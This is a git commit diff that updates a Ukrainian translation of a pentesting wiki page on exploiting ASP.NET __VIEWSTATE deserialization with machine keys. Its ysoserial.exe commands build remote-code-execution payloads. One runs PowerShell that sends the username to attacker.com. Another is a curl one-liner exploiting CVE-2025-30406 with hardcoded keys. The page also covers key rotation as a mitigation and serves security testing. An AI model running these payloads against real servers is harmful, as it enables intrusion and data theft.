Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-10 18:16:34 +00:00
parent 3896c30935
commit 5312a458fc

View File

@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application --encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value --modifier : __VIWESTATEGENERATOR parameter value
``` ```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання. [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання.
Її можна забезпечити viewstate та генератором безпосередньо: Її можна забезпечити viewstate та генератором безпосередньо:
``` ```
@ -112,7 +112,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
**У цьому випадку** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **модуль знаходиться в розробці...** **У цьому випадку** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **модуль знаходиться в розробці...**
**Перед .NET 4.5**, ASP.NET може **приймати** **незашифрований** \_`__VIEWSTATE`\_ параметр від користувачів **навіть** якщо **`ViewStateEncryptionMode`** було встановлено на _**Always**_. ASP.NET **лише перевіряє** **наявність** параметра **`__VIEWSTATEENCRYPTED`** у запиті. **Якщо видалити цей параметр і надіслати незашифрований payload, він все ще буде оброблений.** **До .NET 4.5**, ASP.NET може **приймати** **незашифрований** \_`__VIEWSTATE`\_ параметр від користувачів **навіть** якщо **`ViewStateEncryptionMode`** було встановлено на _**Always**_. ASP.NET **лише перевіряє** **наявність** параметра **`__VIEWSTATEENCRYPTED`** у запиті. **Якщо видалити цей параметр і надіслати незашифрований payload, він все ще буде оброблений.**
Отже, якщо зловмисники знайдуть спосіб отримати Machinekey через іншу вразливість, таку як обходження файлів, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) команда, використана в **Випадку 2**, може бути використана для виконання RCE за допомогою вразливості десеріалізації ViewState. Отже, якщо зловмисники знайдуть спосіб отримати Machinekey через іншу вразливість, таку як обходження файлів, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) команда, використана в **Випадку 2**, може бути використана для виконання RCE за допомогою вразливості десеріалізації ViewState.
@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
``` ```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png) ![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Якщо дійсний Machine key ідентифіковано, **наступним кроком є генерація серіалізованого payload за допомогою** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Якщо знайдено дійсний Machine key, **наступним кроком є генерація серіалізованого payload за допомогою** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
``` ```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
``` ```
@ -155,7 +155,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту поза каналом на сервер, контрольований зловмисником, який міститиме ім'я користувача. Цей тип експлуатації продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту поза каналом на сервер, контрольований зловмисником, який міститиме ім'я користувача. Цей тип експлойту продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Тестовий випадок 6 Використовується ViewStateUserKeys ### Тестовий випадок 6 Використовується ViewStateUserKeys
@ -198,14 +198,54 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
--islegacy --minify --islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>" curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
``` ```
Цей **примітив екстракції ключів** масово експлуатувався проти локальних серверів SharePoint у 2025 році ("ToolShell" CVE-2025-53770/53771), але він застосовний до будь-якого ASP.NET додатку, де зловмисник може виконувати код на стороні сервера. Цей **примітив ексфільтрації ключів** масово експлуатувався проти локальних серверів SharePoint у 2025 році ("ToolShell" CVE-2025-53770/53771), але він застосовний до будь-якого ASP.NET додатку, де зловмисник може виконувати код на стороні сервера.
## Сценарії реального світу експлуатації 2024-2025 років та жорстко закодовані машинні ключі
### Хвиля "публічно розкритих машинних ключів" Microsoft (грудень 2024 лютий 2025)
Microsoft Threat Intelligence повідомила про масову експлуатацію сайтів ASP.NET, де *machineKey* раніше був витік на публічних джерелах (GitHub gists, блоги, сайти для вставки). Противники перерахували ці ключі та згенерували дійсні `__VIEWSTATE` гаджети з новішими прапорами `ysoserial.net` 1.41 `--minify` та `--islegacy`, щоб уникнути обмежень довжини WAF:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Обертання статичних ключів або перехід на *AutoGenerate* ключі в Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) зменшує ризик цього класу атак. {{#ref}}
{{#endref}}
### CVE-2025-30406 Gladinet CentreStack / Triofox жорстко закодовані ключі
Kudelski Security виявила, що кілька версій CentreStack / Triofox постачалися з ідентичними значеннями `machineKey`, що дозволяло неавтентифіковане віддалене виконання коду через підробку ViewState (CVE-2025-30406).
Однорядний експлойт:
```bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
```
Виправлено в CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 оновіть або замініть ключі негайно. {{#ref}}
{{#endref}}
## Посилання ## Посилання
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [Introducing badsecrets fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
- [Microsoft Security Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
- [Kudelski Security advisory Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) - [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}